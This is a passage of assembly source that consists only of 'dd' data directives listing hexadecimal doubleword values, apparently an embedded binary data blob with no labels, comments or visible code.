dd 1288h, 63BE8B5Ch, 0E9200EFh, 0D60F59AAh, 0A10438F4h
dd 1A5B1CF8h, 0A002CCCBh, 85934FA9h, 84AD9CEAh, 0FBA03499h
dd 5918A060h, 981EA27h, 0E48D78B3h, 993BE700h, 34B2EE90h
dd 4F771F00h, 48078950h, 0CA2B0060h, 6BE7CE44h, 3348343Ah
dd 0B4DE034Ch, 0F0941FC3h, 0E895769Eh, 4BD60035h, 1CC76322h
dd 48A08560h, 6C268C0Dh, 0A1E13CDAh, 0C3C4BD7Ch, 0E5392E48h
dd 93AE8E94h, 0D75E0Ah, 571C402Fh, 715DA794h, 0C0944968h
dd 0E7B088C5h, 0B36E01A8h, 4C345995h, 8C98E376h, 0F0E4A45h
dd 0C3A2DAECh, 0C8E0EFEDh, 0ECC5C262h, 3AF81C17h, 378E8060h
dd 0D52C4076h, 0B8D091h, 0DC9F0ED1h, 21F003h, 40ED5B98h
dd 9EDFA359h, 0C28BA616h, 8C43D852h, 3BA82CAh, 0EA21EFE1h
dd 70024DC4h, 488723ACh, 0C77CE872h, 2A8C9863h, 0BC8480h
dd 35E407D9h, 907A4691h, 7322FF5Ch, 4BB07350h, 0FE2F0F12h
dd 86052C43h, 0F11FE0E9h, 97380F8Ah, 9CB25198h, 0EF02279Ch
dd 0BA6A1069h, 4E8C701h, 0AE096D59h, 2606A380h, 94301243h
dd 4E5400D5h, 0C5E9B8F8h, 2024A3E0h, 88002C68h, 0FDFEEF53h
dd 341B4CCCh, 5DFF1C04h, 7008A654h, 0DA1F350Ah, 7A01BC94h
dd 83D7E454h, 0B9D3C0h, 5A277424h, 0CF883411h, 6B5EC31Dh
dd 70FD00FBh, 0C8F191Bh, 614E0084h, 2247C1D6h, 58006779h
dd 31E51051h, 1329D2DEh, 0EF1ADh, 63EC2088h, 4DE65A95h
dd 9073B7Bh, 1BE8E626h, 4AE9CCA0h, 0DF6707A1h, 20D214FFh
dd 0F149758Ah, 3CB994ECh, 240D0F03h, 2CD0D4A0h, 4A9811DFh
dd 0F62C2C6Bh, 59E3E700h, 5F404F81h, 58BCB02Ch, 0E53F7A3Ch
dd 68638580h, 0B449C5A5h, 2501A479h, 43AAAEB1h, 1424F29Bh
dd 591404E6h, 859DF454h, 0ECEC9D0Ch, 3D1C2145h, 4454AFEh
dd 6CC16CAAh, 985232BAh, 0CDF44850h, 0B5E300E2h, 3627DAD5h
dd 0F0081E4h, 736C4734h, 19C626h, 55DDD203h, 6041EE22h
dd 0E0E153h, 9B5E9EA2h, 49D481D9h, 9C001492h, 0DD7704EDh
dd 5CB8789Dh, 241658h, 0F3FBC44Ah, 93C42C7h, 3A66DB0h
dd 3E1EDF00h, 94A09C37h, 53127082h, 0C704BB84h, 0ACD76317h
dd 0C65E8E40h, 382B4AC2h, 0D82E5934h, 1CBAE827h, 44003F5Ch
dd 0AE4AD064h, 0E88A00C4h, 34F02556h, 670057BCh, 8CC5B75Ah
dd 0B1689A22h, 1BEC025Ch, 0AC9472FCh, 2C8E316h, 0B4F99C01h
dd 0AEDC6E45h, 12880204h, 26C675A5h, 607C0040h, 4000984Ah
dd 0BF2D922Bh, 9A6930BCh, 0D364A7B1h, 58983348h, 113C19h
dd 9B465ABh, 7B16B8h, 620B9FFh, 2B050391h, 6956C8F2h, 56A10748h
dd 3070C5C1h, 71E41F10h, 0E819517Ch, 7B579989h, 50B08864h
dd 86F50900h, 0ED321189h, 0BE830729h, 92AE6D38h, 9C52BB44h
dd 6300A373h, 2EC5526Eh, 170C037h, 0F5572930h, 0D3945191h
dd 0F123C8E0h, 4A80D14Dh, 9980BC76h, 9C2428h, 5E3EE0BDh
dd 64606BFBh, 68A6F5C9h, 8C050757h, 0D041677Ch, 981623F8h
dd 0E9FF9B1Fh, 382E2D5Ch, 0AAA6D80h, 57F40D6Ch, 403814BEh
dd 604A68CDh, 0BC136EFCh, 0E8F9A003h, 16FBF50h, 0B66AC319h
dd 0CCDB8A8Bh, 4E010E60h, 3301005h, 0D080486Dh, 0A2F20407h
dd 0A104DCCEh, 0A6ECAE1Ch, 583D68F2h, 0F28084D8h, 74B28145h
dd 0C348AC09h, 3A2460EAh, 6EF52E12h, 0DDD6019Ch, 2434AFE2h
dd 0A00414C0h, 5E7D93E8h, 37990E0h, 18FEC040h, 42E8AA82h
dd 3F001BB9h, 638A913Eh, 0F852C2h, 0D7E7C8FFh, 1F045854h
dd 70F44Ch, 0E586BD32h, 8CF09Ah, 56FAD2D4h, 687EFE63h
dd 0CE5EC003h, 0C8D99852h, 4298BF0h, 0BFAC7D3Ch, 0B554D06Eh
dd 3D01F186h, 3F06DB79h, 0B0380FD8h, 364BA082h, 690058EEh
dd 47656630h, 6F6D24h, 0CA5138E3h, 845DA932h, 2009C8A2h
dd 9DF94CC0h, 0AB7E89EEh, 35B6D100h, 5026FF5h, 36A713F1h
dd 0C11800F7h, 48C74C5Dh, 10896825h, 4A287A2Ch, 0F71C0027h
dd 63DD3133h, 702348h, 1ECE2991h, 812E12h, 2D4BE909h, 78C10F2Ch
dd 0CD1C2600h, 743D3140h, 7E6A0495h, 0C0A33622h, 6DD6ED80h
dd 0A8797614h, 80037C58h, 10F3CF9Dh, 0F505A098h, 0E83D54B9h
dd 30490A2h, 0A673766Ch, 303E9338h, 8DEE0043h, 0ABDCC14Ah
dd 55703E7Fh, 0B34FB17h, 7C2150D8h, 3CFDBC79h, 9AD10920h
dd 33DF014h, 80487CA9h, 0CBC03F7Ah, 3B0076AEh, 423672DFh
dd 3EA0F8C8h, 0B389C4A2h, 9CA72841h, 3548402Eh, 32007BC1h
dd 0CD2CC347h, 1EB8347Ch, 0C0F7E38Fh, 566170A3h, 0B509FD9h
dd 4101E098h, 0F1D61EEDh, 0A2CCECA6h, 37FEB893h, 0A2B043C9h
dd 57237Dh, 1027F934h, 0B6A9005Fh, 0E4963B47h, 4D03E713h
dd 91FC750Ah, 0C181E98Ch, 2D2B024h, 0C5F0FBE8h, 0AC6276FDh
dd 0E478D362h, 0A25FA100h, 781DE791h, 9A4E1435h, 7900D4CBh
dd 663C029h, 5E005040h, 1ACFB524h, 3308877h, 0C897C126h
dd 6B8A62CBh, 227E78E8h, 0EEDCC082h, 30254DBDh, 69033D06h
dd 0B42720E2h, 0C4B8A8BAh, 0BE42B983h, 916FA079h, 491AF249h
dd 796C70h, 0D73C77CCh, 31223FBh, 0D9B78230h, 26DF22E0h
dd 0E81750h, 0F3117D5Dh, 0CC02A64Fh, 0D7F80623h, 0CACCA503h
dd 6C7474B1h, 0A82F0010h, 6F01CC9Bh, 37341EABh, 0A8C0915Ah
dd 29F4F7h, 347D76EDh, 6D162D56h, 0D8D44309h, 3C4CE55h
dd 0E6A92D51h, 6A8865DCh, 826CDC5h, 0D1804848h, 6BAEC5Fh
dd 50BE637Dh, 87C8FD8Eh, 0AF1E8086h, 106C6293h, 3D50EC6Ah
dd 4CBD009Eh, 9B6ADFB0h, 901B7CDEh, 0F08117E9h, 0D6076Bh
dd 2E11960Fh, 244F6658h, 0CAF02012h, 0F095D825h, 241814A0h
dd 0AD806F43h, 64C5AC09h, 77C23800h, 0E8288280h, 1D6600EBh
dd 0E001AB36h, 10B43DD2h, 0B4DF2C80h, 0EC5043h, 6B5CAF15h
dd 0FB978C02h, 0F8C1A009h, 0D054CB18h, 0EECF86h, 0DF2725D9h
dd 71ADFAD3h, 0C0588D2h, 64B68059h, 785E28h, 0FFBE56D6h
dd 7D2D203Dh, 5AA6100h, 4DD5B277h, 89100B81h, 0DC8049B0h
dd 5CFDDAD1h, 0E09CD38h, 0C0617621h, 0EF804C8Fh, 43930034h
dd 0BFD966E3h, 0C3E4787Dh, 0DB122409h, 8B580214h, 1E64501Ch
dd 0C46FD175h, 0E315884Fh, 4AD85818h, 222C8C70h, 833D1E66h
dd 6981B959h, 73AA7F81h, 5D9C6CF6h, 5A34C014h, 779ACA6Dh
dd 5F609BAh, 4C0D260h, 3B2EAF88h, 358E68CBh, 78F7ACB7h
dd 2CEA4E83h, 0FA714E58h, 9465840Bh, 576C0048h, 4E9EA789h
dd 6B5821C2h, 6630746Ch, 50828100h, 0C81DA2EFh, 0F32A00A6h
dd 25AFD765h, 7800A338h, 0D4F42B17h, 139BDA30h, 0D07A9485h
dd 41289354h, 58E4A500h, 0FDD305B3h, 0C081FF71h, 3091B7BDh
dd 6EA860C1h, 9E74B514h, 0B45B24D7h, 0AA684500h, 0BC1F1F9h
dd 97642D85h, 84675409h, 8000B8A2h, 9F534578h, 0F5E1B4h
dd 8AEC713Eh, 0ADC70BB3h, 5EA18700h, 55BC9175h, 0EECB033Dh
dd 791F35FFh, 3AD09EABh, 145AFE59h, 0D500B5BCh, 44EAA202h
dd 120FC453h, 220C097Ah, 4085FFA0h, 0E6631184h, 1F5C1DDEh
dd 34A7C2h, 7060BB00h, 0E8DF467Ch, 0F9E2AA0h, 169E8F4h
dd 0CEAEB110h, 813527F8h, 7F2D3A38h, 0B07D5223h, 29E1D587h
dd 0B3D35CA0h, 656591E6h, 0B2DA58h, 0B16743A0h, 1932C130h
dd 2B0E53Fh, 8A96D9CEh, 98680970h, 695D0DA8h, 0BC4CD4h
dd 17498EAh, 18E0FEDh, 83E2A7D8h, 0D960ACA9h, 0D2187CBEh
dd 0C2F82020h, 0BD8E003Eh, 1BE98BCBh, 0EB5C76F7h, 0BA586B2Ch
dd 4DE41040h, 0C9A500CAh, 40D26953h, 0CE0A30AAh, 1C890CB4h
dd 0B780A740h, 92B20073h, 6C53E66Ah, 81C93FB1h, 8704511Ah
dd 0E0D2CF38h, 0DB15A4B4h, 2EFDF148h, 0D13CEB58h, 103D60h
dd 0F210E0A9h, 0FBB0368h, 0D0FCDC84h, 8494D509h, 848C116h
dd 0EB24E0C0h, 5B330596h, 42C7FE47h, 8F66CC4h, 0B803D0EBh
dd 7CCFD412h, 0D3A3B8AFh, 6A432F76h, 4D9D98A1h, 17F038DAh
dd 0AA005811h, 614E7EA2h, 0F2A503E3h, 0D1AA3AD8h, 23BED981h
dd 26C93EDCh, 3C2A276Dh, 1849A716h, 0E0F8E0C2h, 246F9E84h
dd 0D8D94Eh, 0B953BCC4h, 0C713881Dh, 0D82048A4h, 786428EBh
dd 0CCDB0505h, 0C020C445h, 4BA3B5B7h, 0FD01BC9Eh, 0E94818D8h
dd 0B3246028h, 0EA810E7Eh, 73448441h, 0C084389Dh, 3501C806h
dd 0BA890065h, 92B9E025h, 8016473Bh, 0A8D07D73h, 2455C59Ah
dd 2C68A1BBh, 0E8E40F8h, 3309638Ah, 53540C4Ch, 4094A744h
dd 996EB715h, 24481684h, 0AC70C020h, 7710903Eh, 16127CFEh
dd 0C6988747h, 0E33D487Ch, 4A8984B8h, 84D0D994h, 1FA6C71h
dd 0AEBE6337h, 347AB8F2h, 0C209C1ACh, 32CB8701h, 962C447Ch
dd 67225080h, 7DF0F052h, 4FE33A00h, 39FA1B08h, 24C7513Bh
dd 0C5C4A080h, 4E0F4F6Eh, 0C97B9309h, 0B8BC80A7h, 699A5A4h
dd 0C2693B62h, 8800A9DDh, 1357598Eh, 9BA8D5Fh, 3C35F507h
dd 9C00684Ah, 0FDCF1020h, 2B03FA2Dh, 0C4302144h, 0C024DEEFh
dd 21ECA881h, 1EE80749h, 556A61B0h, 2406C062h, 2F009FEAh
dd 83602898h, 14A20177h, 24880B96h, 0D30D0F00h, 72B84CC2h
dd 827D9500h, 29783C1Eh, 1CD5AC0h, 5712224h, 6868DEA4h
dd 1B024952h, 0EEDCF0A8h, 5BAC480Bh, 0B6BA0BE0h, 7100C99Eh
dd 4F584B35h, 10BC2A1Fh, 59A18E3Ch, 0D03CC130h, 202846E0h
dd 17D88780h, 7D09B94Fh, 0A00F8B66h, 0F27A14C0h, 14584D07h
dd 28006EC9h, 0FD06CA80h, 1289C400h, 0EF6C9BD8h, 626101D2h
dd 984DA503h, 40ED2163h, 5CED8E6Bh, 0F0A0D300h, 0DD0B837Ah
dd 71B4E85h, 10F3BF78h, 0FC79DC88h, 89B35F3Fh, 194CE4h
dd 0DFB1590Ch, 73010EBEh, 9C0058F9h, 983972CFh, 0B3C0131Dh
dd 18D66600h, 5043E428h, 72ECAC0Eh, 0FD930959h, 4C0B3F0Ah
dd 0F24C88Ah, 311765B1h, 242B6BDCh, 0A4B80110h, 0B3491D09h
dd 64378756h, 17305160h, 58D90C2h, 950221C1h, 0EE68B147h
dd 6BA7847h, 6B8F2DAFh, 48724D19h, 2733C51Ch, 90BFA000h
dd 0FF595343h, 1A690020h, 798E301Bh, 1BFF2C2h, 85675BCAh
dd 203B4BBDh, 0E40B2EBEh, 60063AFAh, 220D7DCh, 524B7E6Dh
dd 0A6403D0Eh, 543D2F9Bh, 33280734h, 74702549h, 8E27E0h
dd 0CD342D6h, 3A185610h, 9B2CA91Ch, 0E9924F80h, 0D0EA5Fh
dd 0EE1D6636h, 93BF5B14h, 8CB25C00h, 3CB49D0Ch, 0BB60000Fh
dd 923D3BD0h, 7701137Bh, 7EEB5365h, 0E8C3FFD1h, 50B82B1Eh
dd 1D5CC847h, 0C0858145h, 4CCCE7B7h, 330FB2A8h, 21143D07h
dd 0EA773CA7h, 1851D7F0h, 0C4B6D39h, 9707BAB5h, 0B99C4776h
dd 78F433h, 2BCFC60h, 0E770527Dh, 0B30F4300h, 2969ACECh
dd 6B030110h, 819B884h, 0CED6E413h, 339DF400h, 61A450ACh
dd 22E3C2Fh, 0B49B3F80h, 0C69814F7h, 8584D61Ch, 954ED1C0h
dd 3AEFEB9h, 8F9977E7h, 983DDCDBh, 0F63879BDh, 97A48196h
dd 0D502BB61h, 15BAB620h, 0C0B2DFDEh, 6FBC2700h, 0D7F92016h
dd 3D0D4300h, 41E4045Ch, 0AD590005h, 4D29A0E9h, 0D60642CFh
dd 0DE3AF413h, 64920148h, 0D33D9FC5h, 61518044h, 0BC5F6F4Ah
dd 0D09800CCh, 18EEEC31h, 723BDAAFh, 96860085h, 68C1A610h
dd 78D700B4h, 33E6419Ah, 49485A64h, 81633E00h, 0B9B07FB1h
dd 98F3086Ch, 1F4DC90h, 9B3E2BC8h, 60781EB5h, 0D000B856h
dd 39F99A22h, 141D1033h, 0C8969530h, 0CCBB907h, 3545F040h
dd 3B00E109h, 6241D33Ah, 9B06C5h, 82B75B7Eh, 7AEA179Fh
dd 3CBC250Ah, 1F00584Fh, 21232F64h, 5E3D28F0h, 91702ECh
dd 0AEDEC659h, 31110041h, 0FB9BD11Bh, 60CF23D8h, 467EAF0Ch
dd 8E8999h, 4286ED51h, 7FF17970h, 2B19A500h, 84D734A0h
dd 5CC800CEh, 633A22F8h, 4892FB97h, 6AB220h, 0F375ACD9h
dd 833BE25Bh, 2FCC8600h, 0E6DD69E4h, 0BDC0027Ah, 0C55817E3h
dd 48A38890h, 60108330h, 42D43Bh, 0D309E6FFh, 4B226F16h
dd 0A1867837h, 551A4CD0h, 5811C057h, 73CC8F94h, 52C29B00h
dd 0D186C9E3h, 75E905CEh, 28ACB224h, 8492B670h, 0F058D500h
dd 26E79E90h, 0A58F24F1h, 9CD78110h, 0B05B3EE3h, 465DB021h
dd 74B10293h, 287CC1ECh, 10C88C9Bh, 0BCA05F4Bh, 45007482h
dd 37BF22A1h, 0F33368CFh, 0FD5E5982h, 0DC809843h, 0DC0BEB70h
dd 29015CEEh, 0D79D05FEh, 0A520D333h, 607100A5h, 0BB169ABDh
dd 2A00853Ah, 0D0C328F0h, 981B9D41h, 448328h, 0B9E4792Ch
dd 428807CDh, 29022D72h, 24063381h, 0B6584857h, 0CD0EEB3h
dd 0C638A8C5h, 60737CD8h, 15FE9D07h, 58B00BA0h, 623380h
dd 6CE73E70h, 0C7DD4951h, 870ED509h, 0F502039h, 9A02B6F4h
dd 0BEC00138h, 0FB6CD0AFh
dd 243287h, 0A86917AEh, 95C301h, 6D89FE2Dh, 67D44D22h
dd 91C9D200h, 0BE2096CBh, 0AB6305E7h, 43A5C6A4h, 0EF3E8DD0h
dd 95F56100h, 23F45F3h, 0AAB20067h, 16A4EB1Ch, 0F00607Fh
dd 0E2449C88h, 1DCB94AEh, 0DF8B9FFBh, 0FC1B4095h, 38EB8F4Eh
dd 65A91600h, 66EE630Bh, 0F4B00Ah, 98FA7997h, 9815EF6h
dd 0CD56130Ch, 4CE4DEF3h, 7A077A30h, 0E11F4DE8h, 40FEB0DFh
dd 0C63D9330h, 80F2CC38h, 2690428Eh, 40CF0AF9h, 0FB005653h
dd 9B5002C6h, 40BB0Fh, 0EA4415B4h, 0C7422B8Dh, 33D1AE1Ch
dd 82618447h, 7EC0BCF7h, 21E0C4Ch, 0CF28AF52h, 0DB80461Fh
dd 60EB2633h, 810771E8h, 0C23E34C0h, 433F4E80h, 1AD5004Fh
dd 0BC7CCF3Ah, 62006733h, 7B6AD75Dh, 0E6EDD3Dh, 0B9AD37C3h
dd 0CF5643E0h, 5E006B92h, 31D6B76Ch, 120E519Eh, 831D6Fh
dd 0EEDBD4E2h, 7B01502Fh, 890C4EEDh, 2720BFC6h, 33D30088h
dd 4A8E43A5h, 490081C5h, 3CDE75CDh, 1E74D1C2h, 0D4F9C09Ah
dd 0C33E2C3Bh, 5EFBCD00h, 9B0CCF7Ch, 98485465h, 1868E6C0h
dd 1EE90083h, 0BEFE3CF3h, 0D74348Ch, 4FB2C300h, 61A7DE60h
dd 7BD418B3h, 7963490Ah, 3238AD00h, 3F819C3Dh, 147701A3h
dd 0D4E3691h, 316ED45Dh, 9F139306h, 0DFF18420h, 0BDE60088h
dd 24D4063Bh, 802E2318h, 0A649E41h, 513A39E9h, 0BDEC412Ch
dd 3119B0E6h, 0C732A230h, 77669C19h, 0FDAD403Ch, 0CF0013A6h
dd 2DF18385h, 0B30AD7h, 5080ED9Dh, 72C714B7h, 9FA642F1h
dd 45E090B0h, 54C69403h, 0A0939E39h, 80DD0h, 52B0FC91h
dd 0BD23214h, 0BFF48A1Ch, 2B414487h, 9C204000h, 0EFA006Ch
dd 4C2892ECh, 6A0683DBh, 0C10C379Fh, 80F93F60h, 0C7D61D87h
dd 0E20339A5h, 6905303Ah, 35EB5E3Fh, 38928040h, 0DFDB50h
dd 0D7583079h, 0D0A72305h, 0E7FA031Fh, 53872B40h, 2FD3FCh
dd 2A9FA501h, 5C6DAFE6h, 0BECC3Eh, 73C15868h, 77B28DCDh
dd 0A4A71543h, 0A1008CABh, 0F2775706h, 34903456h, 4299A01Ch
dd 43920A80h, 0D81A2h, 408C4D04h, 86F52C07h, 0C8068AAh
dd 0F7564B12h, 41095492h, 782AD4Ah, 3C30DF48h, 6FC07072h
dd 0EBA3E09Eh, 64808C66h, 140CE9F8h, 2849F7F9h, 0E47650AEh
dd 21F400DAh, 0D8486ADEh, 5918A511h, 4BA15C53h, 1A522465h
dd 94261419h, 360CDD3Eh, 63202E09h, 74E7D801h, 93D7D9A0h
dd 13BDDC0h, 9F616A45h, 505A0108h, 0EB528FF4h, 9731E612h
dd 0F3C0845Ch, 0DE4A5879h, 11845CABh, 0CDAA3600h, 0FE7B2F53h
dd 0ACC7AD0Ah, 7600808Ch, 5C2B994Dh, 60AB00B0h, 7B3AF28Eh
dd 7A754090h, 66B8A40Ah, 1F40F8C6h, 0F9E694h, 5DAB3623h
dd 9DC2E5Eh, 966C8601h, 802F6272h, 5F9E8450h, 0F768008Bh
dd 115D0A9Fh, 7FFA4EE9h, 82968003h, 0EF0688B9h, 0E81442B0h
dd 4A26129Bh, 0B4C400ACh, 95010439h, 0EFCF9A00h, 33CAFA2Eh
dd 0ECF248D6h, 0A426E948h, 101307A7h, 8BF7328Eh, 0A3428880h
dd 449B1681h, 50940A14h, 0E50035D4h, 9907D815h, 1E6E0924h
dd 0C04DCDCBh, 8382F481h, 998012h, 2B4F7F8Eh, 60600097h
dd 511A56h, 5DD444A7h, 0D0A6F801h, 5BB5F600h, 0FA4E2E3Eh
dd 55CC286Dh, 0A0D484B0h, 24C51430h, 0C4F08F6Eh, 17FC9C81h
dd 1B3B93Fh, 1C719177h, 0BAE88103h, 18BB061Dh, 8A65A5ABh
dd 0C93F8400h, 0B3D1377Dh, 4ACD1DE6h, 0C4003EF7h, 0A8BC6B5Bh
dd 9E90D343h, 0BE6C1C3Eh, 0A2FC0F8Fh, 0E4BF46F8h, 1060710h
dd 0A08DDEB1h, 8C7E319Fh, 48E6AC00h, 0D1CF3525h, 0B9A20040h
dd 175C5551h, 0E798A793h, 3DA88700h, 18E7D390h, 0A24D00E4h
dd 5534CD27h, 0AF007E01h, 1FFF45D8h, 5F3B5B50h, 2F6DF887h
dd 845CCAh, 0C3794C12h, 3DB83344h, 8770AC60h, 0B20E03h
dd 0AC21AEDh, 3EF1FE97h, 20BFC730h, 0C4328CDh, 0EC10A107h
dd 0B30070C0h, 463397D7h, 7E50A64Ch, 477218F9h, 0D04E20EDh
dd 0BA667E1Fh, 8330F240h, 76C87BFh, 2DE1AF04h, 0C4C01E02h
dd 0E403FA56h, 15A83B00h, 99B957F6h, 78900093h, 4B4E31DAh
dd 0FF00556Bh, 23AF444Fh, 7241A6Ah, 0AAD8C3FCh, 89D2C12Fh
dd 3C228165h, 1A4086BBh, 0EA79C4h, 11078898h, 3FB1B4D7h
dd 36CD300h, 0D5F676DDh, 0B29A004Bh, 0D64CFB57h, 0F200CB8Eh
dd 93F15BB9h, 9C5852Eh, 2380D3D2h, 50BBE580h, 78004ECDh
dd 45866A7Ah, 199D811h, 29D666CAh, 80F5CB2Bh, 0B6E5D241h
dd 5AE417ACh, 924C3C5h, 76D6F4B8h, 1C2E407Ch, 8900882Fh
dd 4B6BB17Dh, 0FDB21D52h, 680B0021h, 7C4C912Ch, 0DC70EE00h
dd 8713329Eh, 48A800CEh, 0B92B0636h, 690064D4h, 4F826875h
dd 3EB68B5Ah, 2D8023E6h, 0C6874BCAh, 5203A16Ah, 0D05DB02Bh
dd 0EF86B84Fh, 0C096732Ch, 19B6E1F8h, 71075A90h, 7E5D306Ah
dd 38D0B2D0h, 2579003Bh, 85826F18h, 2F00486Bh, 0FA4CF47Dh
dd 70FDC08h, 0E3321EFh, 0DA0640B0h, 65286A04h, 72008C10h
dd 4E2B2FA8h, 1D08FF52h, 0C0CC3D90h, 5F95651Eh, 7912910Fh
dd 6C005EB8h, 44EDE662h, 22086010h, 0AA25422Ch, 77E44900h
dd 0F5D2A055h, 40B3036Ah, 16828E83h, 80689839h, 0B0559E6Dh
dd 7A50C79Dh, 0D98B501Ah, 563C0029h, 12E91C75h, 0C22C2A77h
dd 990366B3h, 0CBBCAAE0h, 3CE1005Eh, 0B0EDF45Fh, 0C000D15Ah
dd 0A3FB554Ah, 1D48131Ch, 8F9A49ADh, 0B5407EF2h, 0ED166164h
dd 1B8C4013h, 4971210Ch, 1A8500ACh, 6DF6A67Bh, 220128BBh
dd 0EA2CBF7Fh, 102456B0h, 4692024Fh, 0F8E2938Dh, 9D7B3448h
dd 7AA3400h, 0B87F6A1Eh, 0B85F60EAh, 69FA58A0h, 611B540Fh
dd 708F40AFh, 215B39Ah, 977C2578h, 0AC9344A1h, 232AC9A8h
dd 24BE4D24h, 0F6D12500h, 219DF1h, 8DA40EC2h, 0A50683D2h
dd 1D071407h, 0D9D09766h, 1AF2EC5h, 5DE85C3Fh, 606CD6BFh
dd 0E9745717h, 9E7EE42Ch, 0A03BBC0Eh, 8667CF3h, 60D900B1h
dd 17835840h, 0A18CFA6h, 0BFC822DBh, 3A0014Ah, 82BE4061h
dd 243CC55Bh, 0ED071D9Ch, 0C99EA543h, 0CD91A60h, 76E500C2h
dd 0E27278B8h, 0F10095DEh, 9D67A96Eh, 342C441h, 9732DC09h
dd 8A9B8423h, 0C9E686F0h, 64875012h, 0B3C0D018h, 0E10D01EBh
dd 0DB201E79h, 76B2E8AEh, 0BFD7B900h, 77390CAh, 99D60FD4h
dd 0A1E0EDECh, 1817D5F2h, 863D431Ch, 0F44C7585h, 6519A000h
dd 480FF9h, 0A8967360h, 124E6A76h, 6CDDD902h, 0C0096902h
dd 0CE7C1D80h, 0F1416846h, 0E8F901B7h, 0C600ED95h, 47536B8Ah
dd 4A82355h, 3440BA2Ch, 8D4CC081h, 0F0E56A2Ah, 0FF2B671Ch
dd 0DB099472h, 4B829A7h, 0B090AFFBh, 4CC1CD53h, 8C505042h
dd 98D20057h, 11FE6970h, 0F002E4CFh, 651D2D49h, 0B3244064h
dd 73FC1EBAh, 9C6D8E42h, 87DE4520h, 5900A750h, 0F3EDD280h
dd 0C7931D9h, 0A5CA03E3h, 4C3EE818h, 0CF3E9Bh, 7FC91CD0h
dd 0ECE2DAC7h, 89A7000Fh, 0FE2C108Ah, 8D00A088h, 2AFFBC53h
dd 69520Bh, 0A5553519h, 39857EF3h, 79B57F00h, 0F7EE8E75h
dd 9BD9029Ah, 0CA35E98Fh, 10803090h, 5EFC4900h, 11B56077h
dd 71F60BC6h, 805FF779h, 30727551h, 486900BDh, 0A2C5E550h
dd 0F1F85423h, 593B280Ch, 8B784Bh, 41CB495Dh, 4FD9E82Fh
dd 3BB01A1Dh, 0A6007052h, 0C12D0819h, 0CC1706E3h, 88788669h
dd 7D033207h, 3C33F73Eh, 0D1FEC88Ah, 0B6EE5C19h, 0F376F800h
dd 0C953262Eh, 83939100h, 923DCA5Eh, 0F27F00F0h, 434C707Bh
dd 0E1E4A99h, 0E1745862h
dd 5DDAC04h, 0E3C7D7C0h, 0E07CAB78h, 5443A904h, 0A8AC80h
dd 5A7E7553h, 467874B4h, 820A51E4h, 0CC16DE5Eh, 643F0400h
dd 0C1735437h, 0D80CD570h, 0DE94407Ah, 5305DBDh, 0AD521469h
dd 9076548Dh, 0CF120041h, 3FA6C5E8h, 4B0DB510h, 7888349Ch
dd 2E733E4h, 0C876FF6Dh, 8080A42Fh, 0CB361A68h, 0C7E46B00h
dd 69A2E095h, 0EB90CEAh, 1490116Eh, 0F460FDB8h, 0AB341831h
dd 0D4A031C0h, 7E85C2B1h, 0C579E500h, 1645EF2h, 0DBC445B9h
dd 42190301h, 3C80989Ch, 0E694B5Ah, 6FF7DA06h, 669F567h
dd 0C30368E2h, 0E800B0BDh, 20730A12h, 1DA5563h, 1E2E902h
dd 0D4B481D4h, 910228A7h, 780F39BBh, 39740DFh, 9B838h
dd 59CAFC36h, 0C0FA4B6Eh, 60909C15h, 370B0284h, 0B3DF34E3h
dd 813B8D8h, 1440922Bh, 0D3E2FB21h, 12AE040h, 33D751E7h
dd 80B8989Ch, 70488349h, 5E67A6Fh, 0DF2B243Ch, 9C742C71h
dd 0FBB0D4A3h, 11042D46h, 0D20A7B80h, 61C0CC84h, 0C18E164Bh
dd 53F05030h, 45898FA4h, 845D676Bh, 58A11E0h, 0F655002Dh
dd 1CC306C6h, 0CC056074h, 0ED2715DCh, 66149C40h, 0CDD736h
dd 9F99F675h, 0EB4A561Bh, 955B263Fh, 0DCD812h, 0FA6DE136h
dd 0A1531Eh, 4DFF5FDDh, 0C2B269A3h, 57829A02h, 801FAD44h
dd 0D5CA8084h, 2A900089h, 18EFDF79h, 5E00EB28h, 0E768A826h
dd 7B4C13h, 9417FD73h, 6E4BA9DBh, 0F6F73A2Dh, 0C0C59D67h
dd 53C3B09h, 44038C36h, 67145389h, 65DF80CEh, 2F460087h
dd 0B46BFE84h, 0DB0019DDh, 1153C67Bh, 1F134D4h, 72594150h
dd 40FA68E9h, 0F08EFF28h, 0E30B5800h, 42A8FC8Ch, 0E9BA00F9h
dd 5EAABC17h, 0C7076D5Ch, 0B1FA399Fh, 0BB05D7E0h, 5BCA4C58h
dd 0E761EA00h, 6D792E04h, 8DF20398h, 3B4DE300h, 21CF14EBh
dd 0C04EEE72h, 2D113410h, 68C0FF3Dh, 71CA532Bh, 7C2107F0h
dd 0B01E74CFh, 2E1A4ABBh, 0ACF3E00Fh, 0DD17E534h, 78535830h
dd 0F598A8BCh, 0E6BF6C45h, 0F6007B19h, 716385E6h, 16AE798h
dd 0AB29C25Eh, 0C867B358h, 11017D2Bh, 38D95AE8h, 0D880C322h
dd 0ECFF8E4h, 0E000A615h, 53F768ACh, 1D7D2A8h, 0BF661B3Ch
dd 0CD059EF6h, 0D8E181D6h, 0E44357C4h, 2188FCh, 1F7C67BEh
dd 542A968h, 0C94A311Fh, 929EA4C0h, 1B9A574h, 1926D22Ah
dd 82B01DE2h, 0F5CF8478h, 3846E082h, 95C10034h, 0DCB7C820h
dd 0E729553Ch, 828D469h, 3B17FE02h, 3D3002h, 0BFC2C04Fh
dd 6995A400h, 4CB01F6Dh, 0C7860A8Ch, 8C8457h, 80581D25h
dd 0C200475Bh, 7AFB94B5h, 0D178C6h, 0DC161F4Fh, 3D9CF2E3h
dd 65CAD71Eh, 82FEB841h, 3C50F732h, 7458867h, 20D91397h
dd 8EC50B7h, 4212B5CEh, 6E002175h, 78331E67h, 60EA1507h
dd 4098E0F6h, 2100C697h, 66ACDF61h, 7195A6D0h, 96181D6Ch
dd 8583BD84h, 9453BAADh, 0A5071803h, 0A4DDBD76h, 88A72490h
dd 34FD488Ch, 4101F00h, 5F602432h, 0FC7D3428h, 0F774DE0Ah
dd 0C580D4D3h, 6DA856EDh, 7A760336h, 2B8C4537h, 2AC86154h
dd 70C9441Ch, 65FE7A80h, 77D8F9Eh, 241A692Bh, 0C2CE0F84h
dd 7AF6EB00h, 8C0267E5h, 0DD1E2BC7h, 94C48855h, 0BF5465C0h
dd 5EEC0608h, 60E06D25h, 273B8190h, 0E3B0045h, 29053134h
dd 150102D3h, 67D09663h, 25B680B0h, 0ABA0F155h, 9C000431h
dd 22AF9EF2h, 0E77A1240h, 181C01CAh, 0DE5FEB31h, 77C3A448h
dd 0B4B93C09h, 2938007Dh, 726165h, 4C0E4E90h, 826FD073h
